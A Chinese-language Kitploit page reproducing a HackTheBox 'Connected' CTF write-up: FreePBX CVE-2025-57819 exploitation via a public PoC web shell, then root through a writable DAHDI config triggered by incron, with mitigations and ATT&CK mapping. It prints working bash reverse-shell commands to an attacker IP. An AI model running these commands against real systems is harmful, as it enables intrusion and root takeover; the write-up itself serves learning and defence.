Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/ikmalhanaan/hackthebox-connected
权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育
GitHubikmalhanaan/hackthebox-connected

HackTheBox-Connected

针对 HackTheBox 'Connected' 机器的详细渗透测试报告,涵盖利用 FreePBX CVE-2025-57819(SQL 注入到远程代码执行)以及通过 incron 错误配置进行权限提升至 root 的过程。

查看仓库
14天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HTB Connected Completed Banner

Hack The Box: Connected — 专业渗透测试报告


📋 执行摘要

Connected 是一台基于 CentOS 的 Linux 机器,运行着集成 Asterisk 的 FreePBX v16.0.40.7 VoIP 通信系统。

攻击路径(攻击向量 / 杀伤链)由两个主要阶段组成:

  1. 初始立足点(Initial Foothold): 利用 FreePBX 上的关键漏洞 CVE-2025-57819(未认证认证绕过与 SQL 注入,导致远程代码执行 / RCE)植入 Web Shell,并以 asterisk 服务用户身份获取 反向 Shell。
  2. 权限提升(Privilege Escalation to Root): 对本地系统配置进行审计,发现监控 spool 文件的 incron(inotify cron)守护进程。当向文件 /var/spool/asterisk/sysadmin/dahdi_restart 写入时,该触发器会执行 root 脚本 /usr/sbin/sysadmin_dahdi_restart。由于 DAHDI 配置文件 /etc/dahdi/init.conf 允许 asterisk 用户写入(writable),将 反向 Shell 载荷注入该配置文件后,会以 root(uid=0)权限自动执行。

📑 目录

  1. 机器信息与测试环境
  2. 阶段 1:侦察与端口扫描(网络侦查)
  3. 阶段 2:Web 枚举与漏洞识别
  4. 阶段 3:初始立足点(利用 CVE-2025-57819)
  5. 阶段 4:后渗透与权限提升(迈向 Root)
  6. 阶段 5:根本原因分析与加固缓解建议
  7. MITRE ATT&CK 映射

1. 机器信息与测试环境


2. 阶段 1:侦察与端口扫描(网络侦查)

渗透测试的初始步骤始于使用 nmap 进行主动侦察,以识别开放的端口、运行的服务以及系统版本。

2.1 运行 Nmap 全面扫描

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

Nmap 参数说明:

  • -T4:设置时间模板为激进模式,以实现更快更高效的扫描。
  • -sC:运行默认 NSE(Nmap 脚本引擎)脚本集合,用于基础漏洞检测。
  • -sV:在每个响应端口上启用服务与版本检测。
  • -oA recon/nmap_quick:将所有输出格式(标准、grepable、XML)保存到 recon 目录。

2.2 端口与服务分析结果

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 扫描关键发现:

  1. 端口 22 (SSH): 使用 OpenSSH 7.4 版本(CentOS 7 系统的典型特征)。
  2. 端口 80 和 443 (HTTP/HTTPS): 使用 Apache 2.4.6 Web 服务器,运行 PHP 7.4.16 运行时。Web 服务器响应 HTTP 重定向至 http://connected.htb/ 域名。

3. 阶段 2:Web 枚举与漏洞识别

3.1 配置本地 DNS 映射

由于 Web 服务器启用了虚拟主机并将流量导向 connected.htb,我们需要在 /etc/hosts 中添加本地主机名解析:

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 Web 应用指纹识别 (FreePBX)

通过浏览器访问 URL http://connected.htb/admin/config.php 会显示基于 Web 的 VoIP 管理界面:

FreePBX Web Interface

从网页页脚中,我们获得了具体的版本信息:

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • 应用: FreePBX Administration
  • 版本: 16.0.40.7
  • 供应商: Sangoma Technologies Inc.

4. 阶段 3:初始立足点(利用 CVE-2025-57819)

4.1 漏洞分析

FreePBX 16.0.40.7 版本易受 CVE-2025-57819 攻击。该漏洞是一个预认证 SQL 注入,允许无凭据的(unauthenticated)攻击者操纵 FreePBX/Asterisk 的后端数据库。

通过该 SQL 注入,攻击者可以修改 Asterisk 内部的 cron 任务表(asterisk.cron_jobs),或将任意 PHP 代码注入 Web 服务器目录(生成 DAG - 检测伪影生成器 / Web Shell),最终导致远程代码执行 (RCE)。

4.2 准备并运行 Exploit

我们利用了 WatchTowr Labs 的公开 PoC 漏洞利用程序:

root@kitploit:~
# 1. 克隆漏洞利用仓库
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. 对目标运行漏洞利用脚本
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

Exploit 执行结果: 脚本成功利用目标并在以下端点创建了活跃的 Webshell:

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 连接反向 Shell 并获取用户 Flag

要获得交互式会话(反向 Shell),请执行以下步骤:

  1. 在攻击者机器上打开 Netcat 监听器:

    root@kitploit:~
    nc -lvnp 1212
    
  2. 通过 Web Shell 发送反向 Shell 载荷: 使用 curl 并通过 URL 编码参数发送反向 Shell 载荷:

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
    
  3. 成功接收反向 Shell 连接: 连接进入 nc 监听器,我们获得了以 asterisk 用户身份运行的交互式 Shell 访问权限。

Reverse Shell and User Flag

  1. 获取用户 Flag:
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. 阶段 4:后渗透与权限提升(迈向 Root)

在以 asterisk 用户身份获得访问权限后,下一步是进行内部枚举,以寻找提升至 root 权限的权限提升向量。

5.1 枚举守护进程与文件监视器 (incron)

我们检查了 incron(inotify cron 表)守护进程的配置,该服务在发生文件系统事件(如文件修改或创建)时执行命令:

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

Incron 配置输出:

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Incron 规则分析:

  • 行:/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • 机制: 每当文件 /var/spool/asterisk/sysadmin/dahdi_restart 在写入操作后关闭(IN_CLOSE_WRITE)时,系统会自动以 root 权限执行脚本 /usr/sbin/sysadmin_dahdi_restart。

5.2 DAHDI 脚本分析与可写文件权限漏洞

对 /usr/sbin/sysadmin_dahdi_restart 脚本的进一步检查表明,该脚本会重启 DAHDI(Digium Asterisk 硬件设备接口)服务,并执行/加载(source)配置文件 /etc/dahdi/init.conf。

对 /etc/dahdi/init.conf 文件的权限检查显示,该文件允许 asterisk 用户写入(writable):

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 漏洞利用:载荷注入与触发 Incron 事件

由于 /etc/dahdi/init.conf 在 DAHDI 重启时以 root 上下文执行,我们可以在该配置文件中插入反向 Shell 命令,然后通过 incron 触发重启。

  1. 在攻击者机器上打开新监听器(端口 4545):

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. 将反向 Shell 插入 /etc/dahdi/init.conf:

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. 通过写入 Spool 文件触发 Incron 事件:

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 Root Shell 与 Flag 捕获

在 incron 处理文件写入事件后的几秒钟内,root 脚本执行了注入的命令行,并产生了以 root(uid=0)身份运行的反向 Shell 连接:

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. 阶段 5:根本原因分析与加固缓解建议


7. MITRE ATT&CK 映射


Pwned by ikmalhanaan 🚀

下载工具
组件规格 / 说明
机器名称Connected
操作系统Linux (CentOS / FreePBX Distro)
目标 IP<IP_TARGET> (connected.htb)
攻击者 IP<IP_VPN_KITA> (VPN 接口 tun0)
关键漏洞CVE-2025-57819 (FreePBX 认证绕过与 SQLi 到 RCE)
权限提升机制配置错误的 Incron 守护进程钩子 + 可写的 /etc/dahdi/init.conf
使用的工具nmap, curl, python3, netcat (nc), bash, git
弱点向量影响修复/缓解建议
FreePBX 预认证 SQLi (CVE-2025-57819)严重 — 允许通过数据库注入在无需认证的情况下实现 RCE。将 FreePBX 更新至 Sangoma 提供的最新官方补丁版本。对所有 API 端点实施严格的输入验证以及预编译语句 / 参数化查询。
不安全的文件权限 (/etc/dahdi/init.conf)高 — 无权限用户 (asterisk) 可以修改由 root 执行的配置文件。限制配置文件的所有权和写入权限:chmod 644 /etc/dahdi/init.conf 和 chown root:root /etc/dahdi/init.conf。
Incron 自动 Root 执行中/高 — Root 自动化脚本加载配置文件时未进行完整性验证。审计所有 incron 规则和 /usr/sbin/sysadmin_* 脚本。避免加载易受非 root 用户修改的动态配置文件。
战术技术 ID技术名称在靶机上的应用
侦察T1595.002主动扫描:漏洞扫描使用 nmap 进行端口与服务扫描。
初始访问T1190利用面向公众的应用利用 FreePBX Web 服务器上的 CVE-2025-57819 漏洞。
执行T1059.004命令和脚本解释器:Unix Shell通过 Web Shell 和 init 脚本执行 bash 反向 Shell 命令。
持久化 / 权限提升T1053.003计划任务/作业:Cron利用 incron 守护进程自动执行 root 任务。
权限提升T1574.009劫持执行流:路径/配置劫持将恶意命令注入配置文件 /etc/dahdi/init.conf。
凭据访问 / 收集T1005来自本地系统的数据读取 user.txt 和 root.txt flag。